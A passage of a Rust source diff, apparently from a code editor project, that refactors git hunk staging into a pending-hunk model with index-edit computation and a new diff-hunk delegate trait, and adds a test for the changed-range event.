+    /// index-write path to compute the index-coordinate footprint of a staging
+    /// operation; like the raw hunks, the mapping ignores optimistic pending
+    /// hunks.
+    pub fn base_text_range_for_buffer_range(
+        &self,
+        range: Range<Anchor>,
+        buffer: &text::BufferSnapshot,
+    ) -> Range<usize> {
+        let point_range = range.to_point(buffer);
+        let patch = self.patch_for_buffer_range(point_range.start..=point_range.end, buffer);
+        let start_point = patch.edit_for_old_position(point_range.start).new.start;
+        let end_point = patch.edit_for_old_position(point_range.end).new.end;
+        let base_text = self.base_text();
+        let start = base_text.point_to_offset(start_point.min(base_text.max_point()));
+        let end = base_text.point_to_offset(end_point.min(base_text.max_point()));
+        start.min(end)..end
+    }
+
     pub fn hunks_intersecting_range_rev<'a>(
         &'a self,
         range: Range<Anchor>,
@@ -705,114 +781,80 @@ impl BufferDiffSnapshot {
 }
 
 impl BufferDiffSnapshot {
-    fn stage_or_unstage_hunks_impl(
-        &mut self,
+    // Compute the edits to apply to the index, and the resulting pending hunks,
+    // for a stage or unstage operation on the uncommitted diff.
+    pub fn compute_uncommitted_index_edits(
+        &self,
         unstaged_diff: &Self,
         stage: bool,
         hunks: &[DiffHunk],
         buffer: &text::BufferSnapshot,
         file_exists: bool,
-    ) -> Option<Rope> {
+    ) -> (Option<Vec<(Range<usize>, Arc<str>)>>, Vec<PendingHunk>) {
         let head_text = self
             .base_text_exists
             .then(|| self.base_text.as_rope().clone());
         let index_text = unstaged_diff
             .base_text_exists
             .then(|| unstaged_diff.base_text.as_rope().clone());
+        let sense = PendingSense::SetSecondaryStatus { stage };
+        let version = buffer.version().clone();
 
         // If the file doesn't exist in either HEAD or the index, then the
         // entire file must be either created or deleted in the index.
         let (index_text, head_text) = match (index_text, head_text) {
             (Some(index_text), Some(head_text)) if file_exists || !stage => (index_text, head_text),
             (index_text, head_text) => {
-                let (new_index_text, new_status) = if stage {
+                let index_len = index_text.as_ref().map_or(0, |rope| rope.len());
+                let new_index_text: Option<Rope> = if stage {
                     log::debug!("stage all");
-                    (
-                        file_exists.then(|| buffer.as_rope().clone()),
-                        DiffHunkSecondaryStatus::SecondaryHunkRemovalPending,
-                    )
+                    file_exists.then(|| buffer.as_rope().clone())
                 } else {
                     log::debug!("unstage all");
-                    (
-                        head_text,
-                        DiffHunkSecondaryStatus::SecondaryHunkAdditionPending,
-                    )
+                    head_text
                 };
 
-                let hunk = PendingHunk {
-                    buffer_range: Anchor::min_max_range_for_buffer(buffer.remote_id()),
-                    diff_base_byte_range: 0..index_text.map_or(0, |rope| rope.len()),
-                    buffer_version: buffer.version().clone(),
-                    new_status,
-                };
-                self.pending_hunks = SumTree::from_item(hunk, buffer);
-                return new_index_text;
+                let pending = vec![PendingHunk::new(
+                    Anchor::min_max_range_for_buffer(buffer.remote_id()),
+                    0..index_len,
+                    version,
+                    sense,
+                )];
+                let edits =
+                    new_index_text.map(|rope| vec![(0..index_len, Arc::from(rope.to_string()))]);
+                return (edits, pending);
             }
         };
 
-        let mut pending_hunks = SumTree::new(buffer);
-        let mut old_pending_hunks = self.pending_hunks.cursor::<DiffHunkSummary>(buffer);
-
-        // first, merge new hunks into pending_hunks
-        for DiffHunk {
-            buffer_range,
-            diff_base_byte_range,
-            secondary_status,
-            ..
-        } in hunks.iter().cloned()
-        {
-            let preceding_pending_hunks = old_pending_hunks.slice(&buffer_range.start, Bias::Left);
-            pending_hunks.append(preceding_pending_hunks, buffer);
-
-            // Skip all overlapping or adjacent old pending hunks
-            while old_pending_hunks.item().is_some_and(|old_hunk| {
-                old_hunk
-                    .buffer_range
-                    .start
-                    .cmp(&buffer_range.end, buffer)
-                    .is_le()
-            }) {
-                old_pending_hunks.next();
-            }
-
-            if (stage && secondary_status == DiffHunkSecondaryStatus::NoSecondaryHunk)
-                || (!stage && secondary_status == DiffHunkSecondaryStatus::HasSecondaryHunk)
-            {
-                continue;
-            }
-
-            pending_hunks.push(
-                PendingHunk {
-                    buffer_range,
-                    diff_base_byte_range,
-                    buffer_version: buffer.version().clone(),
-                    new_status: if stage {
-                        DiffHunkSecondaryStatus::SecondaryHunkRemovalPending
-                    } else {
-                        DiffHunkSecondaryStatus::SecondaryHunkAdditionPending
-                    },
-                },
-                buffer,
-            );
-        }
-        // append the remainder
-        pending_hunks.append(old_pending_hunks.suffix(), buffer);
-
         let mut unstaged_hunk_cursor = unstaged_diff.hunks.cursor::<DiffHunkSummary>(buffer);
         unstaged_hunk_cursor.next();
 
-        // then, iterate over all pending hunks (both new ones and the existing ones) and compute the edits
         let mut prev_unstaged_hunk_buffer_end = 0;
         let mut prev_unstaged_hunk_base_text_end = 0;
-        let mut edits = Vec::<(Range<usize>, String)>::new();
-        let mut pending_hunks_iter = pending_hunks.iter().cloned().peekable();
-        while let Some(PendingHunk {
-            buffer_range,
-            diff_base_byte_range,
-            new_status,
-            ..
-        }) = pending_hunks_iter.next()
-        {
+        let mut edits = Vec::<(Range<usize>, Arc<str>)>::new();
+        let mut pending = Vec::<PendingHunk>::new();
+
+        // Process only the hunks the user acted on, skipping any already in the
+        // desired state.
+        let mut hunks_iter = hunks
+            .iter()
+            .filter(|hunk| {
+                !((stage && hunk.secondary_status == DiffHunkSecondaryStatus::NoSecondaryHunk)
+                    || (!stage
+                        && hunk.secondary_status == DiffHunkSecondaryStatus::HasSecondaryHunk))
+            })
+            .peekable();
+
+        while let Some(hunk) = hunks_iter.next() {
+            let buffer_range = hunk.buffer_range.clone();
+            let diff_base_byte_range = hunk.diff_base_byte_range.clone();
+            pending.push(PendingHunk::new(
+                buffer_range.clone(),
+                diff_base_byte_range.clone(),
+                version.clone(),
+                sense,
+            ));
+
             // Advance unstaged_hunk_cursor to skip unstaged hunks before current hunk
             let skipped_unstaged = unstaged_hunk_cursor.slice(&buffer_range.start, Bias::Left);
 
@@ -846,16 +888,20 @@ impl BufferDiffSnapshot {
                     }
                 }
 
-                // If any unstaged hunks were merged, then subsequent pending hunks may
-                // now overlap this hunk. Merge them.
-                if let Some(next_pending_hunk) = pending_hunks_iter.peek() {
-                    let next_pending_hunk_offset_range =
-                        next_pending_hunk.buffer_range.to_offset(buffer);
-                    if next_pending_hunk_offset_range.start <= buffer_offset_range.end {
-                        buffer_offset_range.end = buffer_offset_range
-                            .end
-                            .max(next_pending_hunk_offset_range.end);
-                        pending_hunks_iter.next();
+                // If any unstaged hunks were merged, then subsequent acted-on hunks
+                // may now overlap this hunk. Merge them.
+                if let Some(next_hunk) = hunks_iter.peek() {
+                    let next_hunk_offset_range = next_hunk.buffer_range.to_offset(buffer);
+                    if next_hunk_offset_range.start <= buffer_offset_range.end {
+                        buffer_offset_range.end =
+                            buffer_offset_range.end.max(next_hunk_offset_range.end);
+                        let merged_hunk = hunks_iter.next().expect("peeked hunk exists");
+                        pending.push(PendingHunk::new(
+                            merged_hunk.buffer_range.clone(),
+                            merged_hunk.diff_base_byte_range.clone(),
+                            version.clone(),
+                            sense,
+                        ));
                         continue;
                     }
                 }
@@ -879,49 +925,59 @@ impl BufferDiffSnapshot {
             let index_start = index_start.min(index_end);
             let index_byte_range = index_start..index_end;
 
-            let replacement_text = match new_status {
-                DiffHunkSecondaryStatus::SecondaryHunkRemovalPending => {
-                    log::debug!("staging hunk {:?}", buffer_offset_range);
+            let replacement_text: Arc<str> = if stage {
+                log::debug!("staging hunk {:?}", buffer_offset_range);
+                Arc::from(
                     buffer
                         .text_for_range(buffer_offset_range)
-                        .collect::<String>()
-                }
-                DiffHunkSecondaryStatus::SecondaryHunkAdditionPending => {
-                    log::debug!("unstaging hunk {:?}", buffer_offset_range);
+                        .collect::<String>(),
+                )
+            } else {
+                log::debug!("unstaging hunk {:?}", buffer_offset_range);
+                Arc::from(
                     head_text
                         .chunks_in_range(diff_base_byte_range.clone())
-                        .collect::<String>()
-                }
-                _ => {
-                    debug_assert!(false);
-                    continue;
-                }
+                        .collect::<String>(),
+                )
             };
 
-            edits.push((index_byte_range, replacement_text));
+            // Distinct worktree hunks can project to touching index ranges
+            // (e.g. a staged deletion ending exactly where the next hunk's
+            // index position starts). Merge them so the edit list stays
+            // strictly disjoint, which the pending-edit eviction logic relies
+            // on to not evict one of these edits when the other is inserted.
+            if let Some((last_range, last_text)) = edits.last_mut()
+                && index_byte_range.start <= last_range.end
+            {
+                debug_assert!(index_byte_range.start == last_range.end);
+                debug_assert!(index_byte_range.end >= last_range.end);
+                last_range.end = index_byte_range.end;
+                let mut merged_text =
+                    String::with_capacity(last_text.len() + replacement_text.len());
+                merged_text.push_str(last_text);
+                merged_text.push_str(&replacement_text);
+                *last_text = Arc::from(merged_text);
+            } else {
+                edits.push((index_byte_range, replacement_text));
+            }
         }
-        drop(pending_hunks_iter);
-        drop(old_pending_hunks);
-        self.pending_hunks = pending_hunks;
 
         #[cfg(debug_assertions)] // invariants: non-overlapping and sorted
         {
             for window in edits.windows(2) {
                 let (range_a, range_b) = (&window[0].0, &window[1].0);
-                debug_assert!(range_a.end < range_b.start);
+                debug_assert!(
+                    range_a.end < range_b.start,
+                    "index edits out of order or overlapping: {:?}",
+                    edits
+                        .iter()
+                        .map(|(range, text)| (range.clone(), text.len()))
+                        .collect::<Vec<_>>()
+                );
             }
         }
 
-        let mut new_index_text = Rope::new();
-        let mut index_cursor = index_text.cursor(0);
-
-        for (old_range, replacement_text) in edits {
-            new_index_text.append(index_cursor.slice(old_range.start));
-            index_cursor.seek_forward(old_range.end);
-            new_index_text.push(&replacement_text);
-        }
-        new_index_text.append(index_cursor.suffix());
-        Some(new_index_text)
+        (Some(edits), pending)
     }
 }
 
@@ -1005,8 +1061,17 @@ impl BufferDiffSnapshot {
                             start_anchor..end_anchor,
                         )
                     {
-                        has_pending = true;
-                        secondary_status = pending_hunk.new_status;
+                        match pending_hunk.sense {
+                            PendingSense::SetSecondaryStatus { stage } => {
+                                has_pending = true;
+                                secondary_status = if stage {
+                                    DiffHunkSecondaryStatus::SecondaryHunkRemovalPending
+                                } else {
+                                    DiffHunkSecondaryStatus::SecondaryHunkAdditionPending
+                                };
+                            }
+                            PendingSense::Suppress => continue,
+                        }
                     }
                 }
 
@@ -1474,7 +1539,6 @@ pub struct DiffChanged {
 pub enum BufferDiffEvent {
     BaseTextChanged,
     DiffChanged(DiffChanged),
-    HunksStagedOrUnstaged(Option<Rope>),
 }
 
 impl EventEmitter<BufferDiffEvent> for BufferDiff {}
@@ -1594,24 +1658,195 @@ impl BufferDiff {
         let Some(diff_snapshot) = &mut self.diff_snapshot else {
             return;
         };
-        if self.secondary_diff.is_some() {
-            diff_snapshot.pending_hunks = SumTree::from_summary(DiffHunkSummary {
-                buffer_range: Anchor::min_min_range_for_buffer(self.buffer_id),
-                diff_base_byte_range: 0..0,
-                added_rows: 0,
-                removed_rows: 0,
-            });
-            let changed_range = Some(Anchor::min_max_range_for_buffer(self.buffer_id));
-            let base_text_range = Some(0..self.base_text(cx).len());
+        let Some((first, last)) = diff_snapshot
+            .pending_hunks
+            .first()
+            .zip(diff_snapshot.pending_hunks.last())
+        else {
+            return;
+        };
+        let changed_range = first.buffer_range.start..last.buffer_range.end;
+        let base_text_changed_range =
+            first.diff_base_byte_range.start..last.diff_base_byte_range.end;
+        let buffer = diff_snapshot.buffer_snapshot.clone();
+        diff_snapshot.pending_hunks = SumTree::new(&buffer);
+        cx.emit(BufferDiffEvent::DiffChanged(DiffChanged {
+            changed_range: Some(changed_range.clone()),
+            base_text_changed_range: Some(base_text_changed_range),
+            extended_range: Some(changed_range),
+            base_text_changed: false,
+        }));
+    }
+
+    /// Installs optimistic pending hunks in this diff, merging them with any
+    /// existing pending hunks (newest wins on overlap) and emitting a
+    /// `DiffChanged` covering both the new hunks and any existing pending hunks
+    /// they replace. `hunks` must be sorted by `buffer_range.start` and
+    /// non-overlapping.
+    ///
+    /// `buffer` must be a current snapshot of this diff's main buffer: the
+    /// incoming hunks carry anchors minted from the current buffer, which this
+    /// diff's internal snapshot (from the last settled recalculation) may not
+    /// have observed yet.
+    pub fn set_pending_hunks(
+        &mut self,
+        hunks: &[PendingHunk],
+        buffer: &text::BufferSnapshot,
+        cx: &mut Context<Self>,
+    ) {
+        if hunks.is_empty() {
+            return;
+        }
+        let Some(diff_snapshot) = self.diff_snapshot.as_mut() else {
+            return;
+        };
+
+        let mut new_pending = SumTree::new(buffer);
+        let mut old = diff_snapshot
+            .pending_hunks
+            .cursor::<DiffHunkSummary>(buffer);
+        let mut changed_start: Option<Anchor> = None;
+        let mut changed_end: Option<Anchor> = None;
+        let mut base_start = usize::MAX;
+        let mut base_end = 0usize;
+        let mut extend_changed_range = |buffer_range: &Range<Anchor>, base_range: &Range<usize>| {
+            changed_start = Some(changed_start.map_or(buffer_range.start, |start| {
+                *start.min(&buffer_range.start, buffer)
+            }));
+            changed_end = Some(
+                changed_end.map_or(buffer_range.end, |end| *end.max(&buffer_range.end, buffer)),
+            );
+            base_start = base_start.min(base_range.start);
+            base_end = base_end.max(base_range.end);
+        };
+        for hunk in hunks {
+            let preceding = old.slice(&hunk.buffer_range.start, Bias::Left);
+            new_pending.append(preceding, buffer);
+
+            // Drop any overlapping or adjacent existing pending hunks, folding
+            // them into the changed range so that views repaint their full
+            // extent (a replaced hunk can be wider than its replacement).
+            while let Some(old_hunk) = old.item() {
+                if old_hunk
+                    .buffer_range
+                    .start
+                    .cmp(&hunk.buffer_range.end, buffer)
+                    .is_gt()
+                {
+                    break;
+                }
+                extend_changed_range(&old_hunk.buffer_range, &old_hunk.diff_base_byte_range);
+                old.next();
+            }
+
+            extend_changed_range(&hunk.buffer_range, &hunk.diff_base_byte_range);
+            new_pending.push(hunk.clone(), buffer);
+        }
+        new_pending.append(old.suffix(), buffer);
+        drop(old);
+        diff_snapshot.pending_hunks = new_pending;
+
+        if let (Some(start), Some(end)) = (changed_start, changed_end) {
+            let changed_range = Some(start..end);
             cx.emit(BufferDiffEvent::DiffChanged(DiffChanged {
                 changed_range: changed_range.clone(),
-                base_text_changed_range: base_text_range,
+                base_text_changed_range: Some(base_start..base_end),
                 extended_range: changed_range,
                 base_text_changed: false,
             }));
         }
     }
 
+    /// Optimistically marks every stageable (resp. unstageable) hunk in this diff
+    /// as staging (resp. unstaging). Used by whole-file staging from the git
+    /// panel, where the actual index change is performed by `git add`/`reset`
+    /// rather than the optimistic index patch.
+    pub fn mark_all_hunks_pending(
+        &mut self,
+        stage: bool,
+        buffer: &text::BufferSnapshot,
+        cx: &mut Context<Self>,
+    ) {
+        let sense = PendingSense::SetSecondaryStatus { stage };
+        let version = buffer.version().clone();
+        let hunks = self
+            .snapshot(cx)
+            .hunks_intersecting_range(Anchor::min_max_range_for_buffer(buffer.remote_id()), buffer)
+            .filter(|hunk| {
+                !((stage && hunk.secondary_status == DiffHunkSecondaryStatus::NoSecondaryHunk)
+                    || (!stage
+                        && hunk.secondary_status == DiffHunkSecondaryStatus::HasSecondaryHunk))
+            })
+            .map(|hunk| {
+                PendingHunk::new(
+                    hunk.buffer_range,
+                    hunk.diff_base_byte_range,
+                    version.clone(),
+                    sense,
+                )
+            })
+            .collect::<Vec<_>>();
+        self.set_pending_hunks(&hunks, buffer, cx);
+    }
+
+    pub fn suppress_all_hunks_pending(
+        &mut self,
+        buffer: &text::BufferSnapshot,
+        cx: &mut Context<Self>,
+    ) {
+        let version = buffer.version().clone();
+        let hunks = self
+            .snapshot(cx)
+            .raw_hunks_intersecting_range(
+                Anchor::min_max_range_for_buffer(buffer.remote_id()),
+                buffer,
+            )
+            .map(|hunk| {
+                PendingHunk::new(
+                    hunk.buffer_range,
+                    hunk.diff_base_byte_range,
+                    version.clone(),
+                    PendingSense::Suppress,
+                )
+            })
+            .collect::<Vec<_>>();
+        self.set_pending_hunks(&hunks, buffer, cx);
+    }
+
+    /// Computes the index-text edits for unstaging the given staged (HEAD-vs-index)
+    /// hunks. `index_buffer` is this diff's main buffer (the index text). The
+    /// returned edits are in index coordinates.
+    pub fn unstage_staged_hunks(
+        &self,
+        hunks: &[DiffHunk],
+        index_buffer: &text::BufferSnapshot,
+    ) -> Option<Vec<(Range<usize>, Arc<str>)>> {
+        let Some(diff_snapshot) = self.diff_snapshot.as_ref() else {
+            return Some(Vec::new());
+        };
+        // With no HEAD, the whole file is one staged addition; unstaging it
+        // removes the file from the index entirely.
+        if !diff_snapshot.base_text_exists {
+            return None;
+        }
+        let head_text = diff_snapshot.base_text.as_rope();
+        let mut edits = hunks
+            .iter()
+            .map(|hunk| {
+                let index_range = hunk.buffer_range.to_offset(index_buffer);
+                let replacement_text: Arc<str> = Arc::from(
+                    head_text
+                        .chunks_in_range(hunk.diff_base_byte_range.clone())
+                        .collect::<String>(),
+                );
+                (index_range, replacement_text)
+            })
+            .collect::<Vec<_>>();
+        edits.sort_by_key(|(range, _)| range.start);
+        Some(edits)
+    }
+
+    #[cfg(any(test, feature = "test-support"))]
     pub fn stage_or_unstage_hunks(
         &mut self,
         stage: bool,
@@ -1621,74 +1856,40 @@ impl BufferDiff {
         cx: &mut Context<Self>,
     ) -> Option<Rope> {
         let secondary_diff = self.secondary_diff.clone()?;
-        let diff_snapshot = self.diff_snapshot.as_mut()?;
         let unstaged_diff_snapshot = secondary_diff.read_with(cx, |secondary_diff, _cx| {
             secondary_diff.diff_snapshot.clone()
         })?;
-        let new_index_text = diff_snapshot.stage_or_unstage_hunks_impl(
+        let diff_snapshot = self.diff_snapshot.clone()?;
+        let (edits, pending) = diff_snapshot.compute_uncommitted_index_edits(
             &unstaged_diff_snapshot,
             stage,
             hunks,
             buffer,
             file_exists,
         );
-
-        cx.emit(BufferDiffEvent::HunksStagedOrUnstaged(
-            new_index_text.clone(),
-        ));
-        if let Some((first, last)) = hunks.first().zip(hunks.last()) {
-            let changed_range = Some(first.buffer_range.start..last.buffer_range.end);
-            let base_text_changed_range =
-                Some(first.diff_base_byte_range.start..last.diff_base_byte_range.end);
-            cx.emit(BufferDiffEvent::DiffChanged(DiffChanged {
-                changed_range: changed_range.clone(),
-                base_text_changed_range,
-                extended_range: changed_range,
-                base_text_changed: false,
-            }));
-        }
-        new_index_text
+        self.set_pending_hunks(&pending, buffer, cx);
+        edits.map(|edits| {
+            let mut index_text = unstaged_diff_snapshot.base_text.as_rope().clone();
+            for (old_range, replacement_text) in edits.iter().rev() {
+                index_text.replace(old_range.clone(), replacement_text);
+            }
+            index_text
+        })
     }
 
+    #[cfg(any(test, feature = "test-support"))]
     pub fn stage_or_unstage_all_hunks(
         &mut self,
         stage: bool,
         buffer: &text::BufferSnapshot,
         file_exists: bool,
         cx: &mut Context<Self>,
-    ) {
+    ) -> Option<Rope> {
         let hunks = self
             .snapshot(cx)
             .hunks_intersecting_range(Anchor::min_max_range_for_buffer(buffer.remote_id()), buffer)
             .collect::<Vec<_>>();
-        let Some(diff_snapshot) = &mut self.diff_snapshot else {
-            return;
-        };
-        let Some(secondary) = self.secondary_diff.clone() else {
-            return;
-        };
-        let secondary = secondary.read(cx);
-        let Some(secondary_snapshot) = &secondary.diff_snapshot else {
-            return;
-        };
-        diff_snapshot.stage_or_unstage_hunks_impl(
-            &secondary_snapshot,
-            stage,
-            &hunks,
-            buffer,
-            file_exists,
-        );
-        if let Some((first, last)) = hunks.first().zip(hunks.last()) {
-            let changed_range = Some(first.buffer_range.start..last.buffer_range.end);
-            let base_text_changed_range =
-                Some(first.diff_base_byte_range.start..last.diff_base_byte_range.end);
-            cx.emit(BufferDiffEvent::DiffChanged(DiffChanged {
-                changed_range: changed_range.clone(),
-                base_text_changed_range,
-                extended_range: changed_range,
-                base_text_changed: false,
-            }));
-        }
+        self.stage_or_unstage_hunks(stage, &hunks, buffer, file_exists, cx)
     }
 
     pub fn update_diff(
@@ -2837,6 +3038,81 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_set_pending_hunks_change_covers_replaced_hunks(cx: &mut TestAppContext) {
+        let base_text = "
+            zero
+            one
+            two
+            three
+            four
+            five
+        "
+        .unindent();
+        let buffer_text = "
+            ZERO
+            one
+            two
+            THREE
+            four
+            FIVE
+        "
+        .unindent();
+        let buffer = Buffer::new(ReplicaId::LOCAL, BufferId::new(1).unwrap(), buffer_text);
+        let diff = cx.new(|cx| BufferDiff::new_with_base_text(&base_text, &buffer, cx));
+
+        // Install a whole-file pending hunk, as the no-HEAD staging paths do.
+        let version = buffer.version();
+        diff.update(cx, |diff, cx| {
+            diff.set_pending_hunks(
+                &[PendingHunk::new(
+                    Anchor::min_max_range_for_buffer(buffer.remote_id()),
+                    0..base_text.len(),
+                    version.clone(),
+                    PendingSense::SetSecondaryStatus { stage: true },
+                )],
+                &buffer,
+                cx,
+            )
+        });
+
+        let (tx, rx) = mpsc::channel();
+        let subscription =
+            cx.update(|cx| cx.subscribe(&diff, move |_, event, _| tx.send(event.clone()).unwrap()));
+
+        // Replace it with a narrower hunk; the emitted change must still cover
+        // the whole extent of the replaced hunk.
+        diff.update(cx, |diff, cx| {
+            diff.set_pending_hunks(
+                &[PendingHunk::new(
+                    buffer.anchor_before(Point::new(3, 0))..buffer.anchor_before(Point::new(4, 0)),
+                    base_text.find("three").unwrap()..base_text.find("four").unwrap(),
+                    version,
+                    PendingSense::Suppress,
+                )],
+                &buffer,
+                cx,
+            )
+        });
+
+        drop(subscription);
+        let events = rx.into_iter().collect::<Vec<_>>();
+        match events.as_slice() {
+            [
+                BufferDiffEvent::DiffChanged(DiffChanged {
+                    changed_range: Some(changed_range),
+                    ..
+                }),
+            ] => {
+                assert_eq!(
+                    changed_range.to_point(&buffer),
+                    Point::zero()..buffer.max_point(),
+                );
+            }
+            _ => panic!("unexpected events: {:?}", events),
+        }
+    }
+
     #[gpui::test]
     async fn test_buffer_diff_compare(cx: &mut TestAppContext) {
         let base_text = "
diff --git a/crates/editor/src/config.rs b/crates/editor/src/config.rs
index 9b5df0b86713b2..bfda1aae44e4ec 100644
--- a/crates/editor/src/config.rs
+++ b/crates/editor/src/config.rs
@@ -360,10 +360,6 @@ impl Editor {
         self.delegate_expand_excerpts = delegate;
     }
 
-    pub(super) fn set_delegate_stage_and_restore(&mut self, delegate: bool) {
-        self.delegate_stage_and_restore = delegate;
-    }
-
     pub(super) fn set_on_local_selections_changed(
         &mut self,
         callback: Option<Box<dyn Fn(Point, &mut Window, &mut Context<Self>) + 'static>>,
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 1d224ad40b45b1..73a0c3ebfddd10 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -106,13 +106,16 @@ pub use element::{
     file_status_label_color, render_breadcrumb_text,
 };
 pub use git::blame::BlameRenderer;
+pub use git::{
+    DiffHunkDelegate, ResolvedDiffHunk, ResolvedDiffHunks, RestoreOnlyDiffHunkDelegate,
+    RestoreOnlyUnstagedDiffHunkDelegate, UncommittedDiffHunkDelegate, render_diff_hunk_controls,
+    set_blame_renderer,
+};
 pub(crate) use git::{DiffHunkKey, StoredReviewComment};
 use git::{
-    DiffReviewDragState, DiffReviewOverlay, InlineBlamePopover, render_diff_hunk_controls,
-    update_uncommitted_diff_for_buffer,
+    DiffReviewDragState, DiffReviewOverlay, InlineBlamePopover, update_uncommitted_diff_for_buffer,
 };
 pub(crate) use git::{DisplayDiffHunk, PhantomDiffReviewIndicator};
-pub use git::{RenderDiffHunkControlsFn, set_blame_renderer};
 pub use hover_popover::hover_markdown_style;
 pub use inlays::Inlay;
 pub use items::MAX_TAB_TITLE_LEN;
@@ -973,7 +976,6 @@ pub struct Editor {
     offset_content: bool,
     disable_expand_excerpt_buttons: bool,
     delegate_expand_excerpts: bool,
-    delegate_stage_and_restore: bool,
     delegate_open_excerpts: bool,
     enable_lsp_data: bool,
     needs_initial_data_update: bool,
@@ -1074,7 +1076,6 @@ pub struct Editor {
     show_git_blame_inline: bool,
     show_git_blame_inline_delay_task: Option<Task<()>>,
     git_blame_inline_enabled: bool,
-    render_diff_hunk_controls: RenderDiffHunkControlsFn,
     buffer_serialization: Option<BufferSerialization>,
     show_selection_menu: Option<bool>,
     blame: Option<Entity<GitBlame>>,
@@ -1129,12 +1130,7 @@ pub struct Editor {
     addons: TypeIdHashMap<Box<dyn Addon>>,
     registered_buffers: HashMap<BufferId, OpenLspBufferHandle>,
     load_diff_task: Option<Shared<Task<()>>>,
-    /// Whether we are temporarily displaying a diff other than git's
-    temporary_diff_override: bool,
-    /// Whether to render all diff hunks with the "unstaged" appearance,
-    /// regardless of whether they have a secondary hunk. Used by views whose
-    /// diffs aren't related to the git index (e.g. agent diffs).
-    render_diff_hunks_as_unstaged: bool,
+    diff_hunk_delegate: Option<Arc<dyn DiffHunkDelegate>>,
     selection_mark_mode: bool,
     toggle_fold_multiple_buffers: Task<()>,
     _scroll_cursor_center_top_bottom_task: Task<()>,
@@ -2285,7 +2281,6 @@ impl Editor {
             use_relative_line_numbers: None,
             disable_expand_excerpt_buttons: !full_mode,
             delegate_expand_excerpts: false,
-            delegate_stage_and_restore: false,
             delegate_open_excerpts: false,
             enable_lsp_data: full_mode,
             needs_initial_data_update: full_mode,
@@ -2390,7 +2385,6 @@ impl Editor {
             show_git_blame_inline_delay_task: None,
             git_blame_inline_enabled: full_mode
                 && ProjectSettings::get_global(cx).git.inline_blame.enabled,
-            render_diff_hunk_controls: Arc::new(render_diff_hunk_controls),
             buffer_serialization: is_minimap.not().then(|| {
                 BufferSerialization::new(
                     ProjectSettings::get_global(cx)
@@ -2460,8 +2454,7 @@ impl Editor {
             serialize_folds: Task::ready(()),
             text_style_refinement: None,
             load_diff_task: load_uncommitted_diff,
-            temporary_diff_override: false,
-            render_diff_hunks_as_unstaged: false,
+            diff_hunk_delegate: None,
             minimap: None,
             change_list: ChangeList::new(),
             mode,
@@ -11782,17 +11775,10 @@ pub enum EditorEvent {
         lines: u32,
         direction: ExpandExcerptDirection,
     },
-    StageOrUnstageRequested {
-        stage: bool,
-        hunks: Vec<MultiBufferDiffHunk>,
-    },
     OpenExcerptsRequested {
         selections_by_buffer: HashMap<BufferId, (Vec<Range<BufferOffset>>, Option<u32>)>,
         split: bool,
     },
-    RestoreRequested {
-        hunks: Vec<MultiBufferDiffHunk>,
-    },
     /// Emitted when an underlying buffer changes, including edits made through another editor.
     BufferEdited,
     /// Emitted when this editor creates, undoes, or redoes an edit transaction.
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index e5836446cee89a..a82b3ea4488a7b 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -4624,7 +4624,7 @@ impl EditorElement {
         window: &mut Window,
         cx: &mut App,
     ) -> (Vec<AnyElement>, Vec<(DisplayRow, Bounds<Pixels>)>) {
-        let render_diff_hunk_controls = editor.read(cx).render_diff_hunk_controls.clone();
+        let diff_hunk_delegate = editor.read(cx).diff_hunk_delegate();
         let hovered_diff_hunk_row = editor.read(cx).hovered_diff_hunk_row;
         let sticky_top = text_hitbox.bounds.top() + sticky_header_height;
 
@@ -4696,7 +4696,7 @@ impl EditorElement {
                         sticky_top.min(max_y)
                     };
 
-                    let mut element = render_diff_hunk_controls(
+                    let mut element = diff_hunk_delegate.render_hunk_controls(
                         display_row_range.start.0,
                         status,
                         multi_buffer_range.clone(),
@@ -6548,8 +6548,11 @@ impl EditorElement {
     }
 
     fn diff_hunk_hollow(&self, status: DiffHunkStatus, cx: &mut App) -> bool {
-        let unstaged =
-            self.editor.read(cx).render_diff_hunks_as_unstaged || status.has_secondary_hunk();
+        let unstaged = !self
+            .editor
+            .read(cx)
+            .diff_hunk_delegate()
+            .render_hunk_as_staged(&status, cx);
         let unstaged_hollow = matches!(
             ProjectSettings::get_global(cx).git.hunk_style,
             GitHunkStyleSetting::UnstagedHollow
@@ -9296,7 +9299,7 @@ impl Element for EditorElement {
                     };
 
                     let (diff_hunk_controls, diff_hunk_control_bounds) =
-                        if is_read_only && !self.editor.read(cx).delegate_stage_and_restore {
+                        if is_read_only && self.editor.read(cx).diff_hunk_delegate.is_none() {
                             (vec![], vec![])
                         } else {
                             self.layout_diff_hunk_controls(
diff --git a/crates/editor/src/git.rs b/crates/editor/src/git.rs
index 6bb94a892dc74a..d9871fa2cb5898 100644
--- a/crates/editor/src/git.rs
+++ b/crates/editor/src/git.rs
@@ -2,20 +2,242 @@ pub(super) mod blame;
 
 use super::*;
 use ::git::{Restore, blame::BlameEntry, commit::ParsedCommitMessage, status::FileStatus};
-use buffer_diff::DiffHunkStatus;
-
-pub type RenderDiffHunkControlsFn = Arc<
-    dyn Fn(
-        u32,
-        &DiffHunkStatus,
-        Range<Anchor>,
-        bool,
-        Pixels,
-        &Entity<Editor>,
-        &mut Window,
-        &mut App,
-    ) -> AnyElement,
->;
+use buffer_diff::{BufferDiff, DiffHunkStatus, DiffHunkStatusKind};
+
+#[derive(Clone)]
+pub struct ResolvedDiffHunk {
+    pub buffer_range: Range<text::Anchor>,
+    pub diff_base_byte_range: Range<usize>,
+    pub status: DiffHunkStatus,
+}
+
+#[derive(Clone)]
+pub struct ResolvedDiffHunks {
+    pub diff: Entity<BufferDiff>,
+    pub buffer_id: BufferId,
+    pub buffer: Option<Entity<Buffer>>,
+    pub hunks: Vec<ResolvedDiffHunk>,
+}
+
+pub trait DiffHunkDelegate {
+    fn toggle(
+        &self,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    );
+
+    fn stage_or_unstage(
+        &self,
+        stage: bool,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    );
+
+    fn restore(
+        &self,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
